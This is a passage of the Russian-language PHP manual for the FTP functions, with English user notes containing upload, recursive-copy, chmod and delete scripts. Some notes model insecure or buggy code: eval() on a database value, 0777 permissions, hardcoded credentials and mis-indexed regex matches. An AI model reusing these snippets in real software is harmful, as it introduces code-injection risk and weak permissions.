    }

    echo "Connected\r\n";

    echo "PASV (Y/Any key = Off): ";

    if(trim(fgets(STDIN)) == "Y")
    {

        //enable passive mode
        ftp_pasv($connect, true);

            echo "PASV: On\r\n";

    }
    else
    {

        echo "PASV: Off\r\n";

    }

    $showContent = ftp_nlist($connect, "");

    echo "Listing Contents:\r\n";

        var_dump($showContent);

    echo "File to upload: ";

    $file = trim(fgets(STDIN));

    //escape the uploading process by typing "exit;"
    if ($file == "exit;")
    {

        exit;

    }

    //use "$file, $file" since the file shouldn't be renamed, also if its a binary file change the last argument to FTP_BINARY
    $upload = ftp_put($connect, $file, $file, FTP_ASCII);

    if (!$upload)
    {

        exit("Upload failed.\r\n");

    }
    else
    {

        echo "The file \"" . $file . "\" was successfully uploaded. :)\r\nSize of \"" . $file . "\": " . filesize($file) / 1024 ."kb.\r\n";
        echo "My work is done, bye.\r\n";

    }

    ftp_close($connect);

?>
magic2lantern at mail dot ru 23-Dec-2005 08:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
    for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
    {
// get elements list in current dir
        echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
        ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
    }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro 09-Aug-2005 06:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com 07-May-2005 08:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file<br>";
  } else {
    echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl 15-Jul-2004 07:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

    private $ftp;

    /* public Void __construct(): Constructor */
    public function __construct($host, $port = 21, $timeout = 90) {
        $this->ftp = ftp_connect($host, $port, $timeout);
    }

    /* public Void __destruct(): Destructor */
    public function __destruct() {
        @ftp_close($this->ftp);
    }

    /* public Mixed __call(): Re-route all function calls to the PHP-functions */
    public function __call($function, $arguments) {
        // Prepend the ftp resource to the arguments array
        array_unshift($arguments, $this->ftp);

        // Call the PHP function
        return call_user_func_array('ftp_' . $function, $arguments);
    }

}

?>
Kristy Christie (kristy at isp7 dot net) 15-Jun-2004 11:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

    // set the various variables
    $ftproot = "/public_html/test/";
    $srcroot = "/home/kristy/scripts/";
    $srcrela = "iwm/";

    // connect to the destination FTP & enter appropriate directories both locally and remotely
    $ftpc = ftp_connect("ftp.mydomain.com");
    $ftpr = ftp_login($ftpc,"username","password");

    if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
    if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
    if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

    // start ftp'ing over the directory recursively
    ftpRec ($srcrela);

    // close the FTP connection
    ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
    global $srcroot;
    global $ftproot;
    global $ftpc;
    global $ftpr;

    // enter the local directory to be recursed through
    chdir($srcroot.$srcrela);

    // check if the directory exists & change to it on the destination
    if (!ftp_chdir($ftpc,$ftproot.$srcrela))
    {
        // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
    }

    if ($handle = opendir("."))
    {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
                }
                else
                {
                    // it's a directory so recurse through it
                    if ($fil == "templates")
                    {
                            // I want the script to ignore any directories named "templates"
                            // and therefore, not recurse through them and upload their contents
                    }
                    else
                    {
                        ftpRec ($srcrela.$fil."/");
                        chdir ("../");
                    }
                }
          }
      }
      closedir($handle);
    }
}
?>
postmaster at alishomepage dot com 24-Jan-2004 03:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com> 14-Nov-2003 05:35
<?

//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
    ftp_mkdir($con, $destination_path);
    ftp_site($con, 'CHMOD 0777 '.$destination_path);
    ftp_chdir($con,$destination_path);

    if (is_dir($source_path))
    {
        chdir($source_path);
        $handle=opendir('.');
        while (($file = readdir($handle))!==false)
        {
            if (($file != ".") && ($file != ".."))
            {
                if (is_dir($file))
                {
                    // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                    if($file != "propertyimages")
                    {
                        rec_copy ($source_path."/".$file, $file, $con);
                        chdir($source_path);
                        ftp_cdup($con);
                    }
                }
                if (is_file($file))
                {
                    $fp = fopen($file,"r");
                    // this will convert spaces to '_' so that it will not throw error.  -- VK
                    ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                    ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
                }
            }
        }
        closedir($handle);
    }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
    ftp_close($con);
}
?>
postmaster at alishomepage dot com 24-Oct-2003 04:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
NOSPAMkent at ioflux dot NOSPAM dot com 19-Sep-2002 05:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de 13-Feb-2002 11:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );


Резервирует место на диске для закачиваемого файла

  • « Функции FTP
  • ftp_append »
  • PHP Manual
  • Функции FTP
  • Резервирует место на диске для закачиваемого файла

ftp_alloc

(PHP 5, PHP 7, PHP 8)

ftp_alloc — Резервирует место на диске для закачиваемого файла

Описание

ftp_alloc(FTP\Connection $ftp, int $size, string &$response = null): bool

Посылает команду ALLO FTP-серверу для резервирования места под загружаемый файл.

Замечание:

Многие FTP-серверы не поддерживают эту команду. Такие серверы возвращают код неудачи (false), что означает отсутствие поддержки этой команды, или код успешного выполнения (true), означающий, что в резервировании нет необходимости и клиенту следует продолжать, будто операция была выполнена успешно. По этой причине эту функцию следует использовать с серверами, которые требуют обязательного резервирования.

Список параметров

ftp

An FTP\Connection instance.

size

Количество резервируемых байт.

response

Текстовое представление ответа сервера будет возвращено по ссылке в аргумент response, если он указан.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_alloc()

<?php

$file = "/home/user/myfile";

/* соединение с сервером */
$ftp = ftp_connect('ftp.example.com');
$login_result = ftp_login($ftp, 'anonymous', 'user@example.com');

if (ftp_alloc($ftp, filesize($file), $result)) {
echo "Место на сервере успешно зарезервировано. Отправляю $file.\n";
ftp_put($conn_id, '/incoming/myfile', $file, FTP_BINARY);
} else {
echo "Не удалось зарезервировать место на сервере. Ответ сервера: $result\n";
}

ftp_close($ftp);

?>

Смотрите также

  • ftp_put() - Загружает файл на FTP-сервер
  • ftp_fput() - Загружает предварительно открытый файл на FTP-сервер

User Contributed Notes

There are no user contributed notes for this page.


Добавляет содержимое файла в конец другого файла на FTP-сервере

  • « ftp_alloc
  • ftp_cdup »
  • PHP Manual
  • Функции FTP
  • Добавляет содержимое файла в конец другого файла на FTP-сервере

ftp_append

(PHP 7 >= 7.2.0, PHP 8)

ftp_append — Добавляет содержимое файла в конец другого файла на FTP-сервере

Описание

ftp_append(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY
): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

ftp

An FTP\Connection instance.

remote_filename

local_filename

mode

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Переходит в родительскую директорию

  • « ftp_append
  • ftp_chdir »
  • PHP Manual
  • Функции FTP
  • Переходит в родительскую директорию

ftp_cdup

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_cdup — Переходит в родительскую директорию

Описание

ftp_cdup(FTP\Connection $ftp): bool

Переходит в родительскую директорию.

Список параметров

ftp

An FTP\Connection instance.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования функции ftp_cdup()

<?php
// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// изменение текущей директории на html
ftp_chdir($ftp, 'html');

echo ftp_pwd($ftp); // /html

// возврат в родительскую директорию
if (ftp_cdup($ftp)) {
echo "команда cdup выполнена успешно\n";
} else {
echo "команда cdup завершилась неудачей\n";
}

echo ftp_pwd($ftp); // /

ftp_close($ftp);
?>

Смотрите также

  • ftp_chdir() - Изменяет текущую директорию на FTP-сервере
  • ftp_pwd() - Возвращает имя текущей директории

User Contributed Notes

rowie at free dot fr 11-Mar-2009 02:30
ftp_cdup can only up to the parent and if you want test a directory that is not a child then you can't with ftp_cdup ;)
Anonymous 07-May-2008 09:01
The below example doesn't seem to work on a windows based machine so I use this trick instead

<?php

$aPath = explode('/',ftp_pwd($conn_id));
$sHomeDir = str_repeat('../', count($aPath) - 1);

ftp_chdir($conn_id, $sHomeDir);

?>
tom p 07-Dec-2005 04:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>


Изменяет текущую директорию на FTP-сервере

  • « ftp_cdup
  • ftp_chmod »
  • PHP Manual
  • Функции FTP
  • Изменяет текущую директорию на FTP-сервере

ftp_chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_chdir — Изменяет текущую директорию на FTP-сервере

Описание

ftp_chdir(FTP\Connection $ftp, string $directory): bool

Меняет текущую директорию на заданную аргументом.

Список параметров

ftp

An FTP\Connection instance.

directory

Целевая директория.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если изменение директории завершилось неудачей, PHP вызовет предупреждение.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_chdir()

<?php

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// проверка соединения
if ((!$ftp) || (!$login_result)) {
die("Не удалось подключиться к FTP-серверу!");
}

echo "Текущая директория: " . ftp_pwd($ftp) . "\n";

// пытаемся сменить текущую директорию на somedir
if (ftp_chdir($ftp, "somedir")) {
echo "Новая текущая директория: " . ftp_pwd($ftp) . "\n";
} else {
echo "Не удалось сменить директорию\n";
}

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_cdup() - Переходит в родительскую директорию
  • ftp_pwd() - Возвращает имя текущей директории

User Contributed Notes

info at swiftyexpress dot com 26-Nov-2008 01:12
Works like the other functions in this page's notes, but this one doesn't make use of a global FTP connection, so it takes parameters like the other functions in the extension

<?php
function ftp_directory_exists($ftp, $dir)
{
    // Get the current working directory
    $origin = ftp_pwd($ftp);

    // Attempt to change directory, suppress errors
    if (@ftp_chdir($ftp, $dir))
    {
        // If the directory exists, set back to origin
        ftp_chdir($ftp, $origin);
        return true;
    }

    // Directory does not exist
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: As the contributor mentions, the original function was noted here by (h3 AT valleyfield DOT net) on 13-JUL-2007.]
neil at 11 out of 10 16-Apr-2008 05:58
Thanks to h3 at valleyfield dot net

Same function with some minor changes and comments added

FTP function checks if a directory exists

<?php
function ftp_is_dir( $dir ) {
    global $ftpcon;
    // get current directory
    $original_directory = ftp_pwd( $ftpcon );
    // test if you can change directory to $dir
    // suppress errors in case $dir is not a file or not a directory
    if ( @ftp_chdir( $ftpcon, $dir ) ) {
        // If it is a directory, then change the directory back to the original directory
        ftp_chdir( $ftpcon, $original_directory );
        return true;
    }
    else {
        return false;
    }
}
?>


Устанавливает права доступа к файлу

  • « ftp_chdir
  • ftp_close »
  • PHP Manual
  • Функции FTP
  • Устанавливает права доступа к файлу

ftp_chmod

(PHP 5, PHP 7, PHP 8)

ftp_chmod — Устанавливает права доступа к файлу

Описание

ftp_chmod(FTP\Connection $ftp, int $permissions, string $filename): int|false

Устанавливает права доступа к указанному удалённому файлу в значение permissions.

Список параметров

ftp

An FTP\Connection instance.

permissions

Новые права доступа, указанные в виде восьмеричного значения.

filename

Удалённый файл.

Возвращаемые значения

Возвращает новые права доступа к файлу в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_chmod()

<?php
$file = 'public_html/index.php';

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка изменить права доступа к файлу $file на 644
if (ftp_chmod($ftp, 0644, $file) !== false) {
echo "Права доступа к файлу $file успешно изменены на 644\n";
} else {
echo "Не удалось изменить права доступа к файлу $file\n";
}

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • chmod() - Изменяет режим доступа к файлу

User Contributed Notes

DanN 16-Nov-2009 11:17
Just wanted to contribute a quick note for those who are still experiencing issues with changing the permissions via FTP.

If you are having trouble with PHP recognizing the mode as an integer, you can take the previous poster's method:

$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );

And add the following snippet right after:

$mode = (int) $mode;

This will force PHP to recognize the mode as an integer when you do:

ftp_chmod ( $conn_id, $mode, $path );

These together never seem to fail for me.
Maarten Wolzak 22-Sep-2009 03:15
Using the excellent octdec and decoct functions you can make this easy:

<?php
$mode = "644";
$mode = octdec( str_pad($mode,4,'0',STR_PAD_LEFT) );
ftp_chmod($ftp_stream, $mode, $file);
?>
rperea at vsourceweb dot com 21-Dec-2008 09:26
It took me a while to figure out how to use this function in my situation because I needed the $mode to be passed to this function as a variable that was read from a database. Since the database returns the value as an integer without a leading zero, I could not get the operation to work because adding a leading zero in PHP turns the value into a string.

For example, this does not work in my situation:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, $mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

Adding a leading zero doesn't work either:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, '0'.$mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

I tried many ways to get it to work even converting it from oct to dec using octdec and then back to decoct and nothing worked. This is the only way I was able to get it to work, with an eval statement.

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Turn the mode into a string
$np = '0'.$mode;

// Now run chmod with the eval'd string parsed as an integer.
ftp_chmod($conn_id, eval("return({$np});"), 'test.txt');

// The file now has permissions of 644
?>

Of course, you will have to make sure that the value of $mode only contains 3 digits. Always do checking on your values before handing it off to eval().
cspiegl at kwask dot de 21-Apr-2008 12:30
Ok,
so if 2 people say that my way is wrong and the other is right, i will take mine back.
I posted it cause for me just the way i used it worked (i don't know why)

AND: i would not say something like: "I would try before post", in my opinion that is realy unfriendly, cause i tryed!
tiefenbrunner at obdev dot at 17-Dec-2007 05:19
The "mode" parameter of the PHP5 ftp_chmod function is an integer value that is supposed to be given as an octal number, like the argument for the "chmod" command line tool.

Thus the sprintf must use the %o formatting character, so that the passed integer value is really represented as an octal number to the CHMOD site command for the FTP server.

So, IMHO, rabin's version is correct (it definitely worked for me).
Josh at jcr dot com 13-Sep-2007 10:13
rabin's code works just fine as a replacement for ftp_chmod().
I would try that before trying cspiegl's solution for pre-php 5 installations.
rabin at rab dot in 23-May-2006 03:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
    }
}
?>


Закрывает соединение с FTP-сервером

  • « ftp_chmod
  • ftp_connect »
  • PHP Manual
  • Функции FTP
  • Закрывает соединение с FTP-сервером

ftp_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_close — Закрывает соединение с FTP-сервером

Описание

ftp_close(FTP\Connection $ftp): bool

ftp_close() закрывает указанный идентификатор соединения с сервером и освобождает resource.

Замечание:

После вызова этой функции, соединение больше не может быть использовано, и при необходимости должно быть установлено заново при помощи функции ftp_connect().

Список параметров

ftp

An FTP\Connection instance.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_close()

<?php

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// вывод текущей директории
echo ftp_pwd($ftp); // /

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_connect() - Устанавливает соединение с FTP-сервером

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает соединение с FTP-сервером

  • « ftp_close
  • ftp_delete »
  • PHP Manual
  • Функции FTP
  • Устанавливает соединение с FTP-сервером

ftp_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_connect — Устанавливает соединение с FTP-сервером

Описание

ftp_connect(string $hostname, int $port = 21, int $timeout = 90): FTP\Connection|false

ftp_connect() устанавливает FTP-соединение с указанным сервером hostname.

Список параметров

hostname

Адрес FTP-сервера. Этот аргумент не должен содержать слешей в конце и префикса ftp:// в начале.

port

Этот аргумент указывает альтернативный порт для подключения. Если он опущен или установлен в ноль, то будет использован FTP порт по умолчанию - 21.

timeout

Этот аргумент указывает время ожидания в секундах для всех последующих сетевых операций. Если опущен, используется значение по умолчанию - 90 секунд. Время ожидания может быть изменено и получено в любой момент при помощи функций ftp_set_option() и ftp_get_option() соответственно.

Возвращаемые значения

Возвращает FTP\Connection в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр FTP\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_connect()

<?php

$ftp_server = "ftp.example.com";

// устанавливает соединение или выходит
$ftp = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server");

?>

Смотрите также

  • ftp_close() - Закрывает соединение с FTP-сервером
  • ftp_ssl_connect() - Устанавливает соединение с FTP-сервером через SSL

User Contributed Notes

sean at boyercentral dot net 24-Mar-2009 05:05
Ever needed to create an FTP connection resource defaulted to a particular dir from a URI? Here's a simple function that will take a URI like ftp://username:password@subdomain.example.com/path1/path2/, and return an FTP connection resource.

<?php
function getFtpConnection($uri)
{
    // Split FTP URI into:
    // $match[0] = ftp://username:password@sld.domain.tld/path1/path2/
    // $match[1] = ftp://
    // $match[2] = username
    // $match[3] = password
    // $match[4] = sld.domain.tld
    // $match[5] = /path1/path2/
    preg_match("/ftp:\/\/(.*?):(.*?)@(.*?)(\/.*)/i", $uri, $match);

    // Set up a connection
    $conn = ftp_connect($match[1] . $match[4] . $match[5]);

    // Login
    if (ftp_login($conn, $match[2], $match[3]))
    {
        // Change the dir
        ftp_chdir($conn, $match[5]);

        // Return the resource
        return $conn;
    }

    // Or retun null
    return null;
}
?>


Удаляет файл на FTP-сервере

  • « ftp_connect
  • ftp_exec »
  • PHP Manual
  • Функции FTP
  • Удаляет файл на FTP-сервере

ftp_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_delete — Удаляет файл на FTP-сервере

Описание

ftp_delete(FTP\Connection $ftp, string $filename): bool

ftp_delete() удаляет файл, заданный аргументом filename, с FTP-сервера.

Список параметров

ftp

An FTP\Connection instance.

filename

Удаляемый файл.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_delete()

<?php
$file = 'public_html/old.txt';

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка удалить файл
if (ftp_delete($ftp, $file)) {
echo "Файл $file удалён\n";
} else {
echo "Не удалось удалить $file\n";
}

// закрытие соединения
ftp_close($ftp);
?>

User Contributed Notes

engrumair_sabir at yahoo dot com 03-Apr-2014 05:18
if you want to upload the file on server and thn do delete it.. this script works well

<?php
// connect and login data
$web = '111.111.111.111';
$user = '123abc';
$pass = 'abc123';
// file location
$server_file = '/public_html/upload/test.csv';
$local_file = 'test.csv';
//connect
$conn_id = ftp_connect($web);
$login_result = ftp_login($conn_id,$user,$pass);
//uploading
if (ftp_put($conn_id, $server_file, $local_file, FTP_BINARY))
 {echo "Success \n";}
else {echo "Failed";}

// try to delete $file
if (ftp_delete($conn_id, $server_file)) {
 echo "$server_file deleted successful\n";
} else {
 echo "could not delete $server_file\n";
}

// close the connection
ftp_close($conn_id);
?>
kanhaiya4it at gmail dot com 28-Jan-2014 12:49
This works perfectly!

<?php
$file = 'public_html/plentyport.com/jobs/employee/resumes/4216:54:38Resume (1).docx';
$ftp_server="your server address";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$ftp_user_name="your user server name";
$ftp_user_pass="your server password";
// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>
Jim Greene 01-Jul-2013 07:15
Generally speaking, unlink will work just fine for most applications, however, if you are using multiple servers, you're going to have to connect to the other server using FTP.
webmaster at iamsowonderful dot com 03-Apr-2005 10:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.


Запрашивает выполнение команды на FTP-сервере

  • « ftp_delete
  • ftp_fget »
  • PHP Manual
  • Функции FTP
  • Запрашивает выполнение команды на FTP-сервере

ftp_exec

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

ftp_exec — Запрашивает выполнение команды на FTP-сервере

Описание

ftp_exec(FTP\Connection $ftp, string $command): bool

Посылает команду SITE EXEC command на FTP-сервер.

Список параметров

ftp

An FTP\Connection instance.

command

Команда для выполнения.

Возвращаемые значения

Возвращает true в случае успешного выполнения команды (сервер отправляет код ответа: 200); в противном случае возвращает false.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_exec()

<?php
// инициализация переменных
$command = 'ls -al >files.txt';

// устанавливаем соединение
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// выполняем команду
if (ftp_exec($ftp, $command)) {
echo "Команда $command выполнена успешно\n";
} else {
echo "Не удалось выполнить $command\n";
}

// закрываем соединение
ftp_close($ftp);

?>

Смотрите также

  • ftp_raw() - Отправляет произвольную команду FTP-серверу

User Contributed Notes

sam at totallydigital dot co dot nz 16-Dec-2003 01:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.


Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле

  • « ftp_exec
  • ftp_fput »
  • PHP Manual
  • Функции FTP
  • Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле

ftp_fget

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fget — Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле

Описание

ftp_fget(
FTP\Connection $ftp,
resource $stream,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_fget() загружает файл remote_filename с FTP-сервера и записывает его в переданный файловый дескриптор.

Список параметров

ftp

An FTP\Connection instance.

stream

Открытый файловый дескриптор, в который будут сохранены данные.

remote_filename

Путь к удалённому файлу.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_fget()

<?php

// путь к удалённому файлу
$remote_file = 'somefile.txt';
$local_file = 'localfile.txt';

// открываем файл для записи
$handle = fopen($local_file, 'w');

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

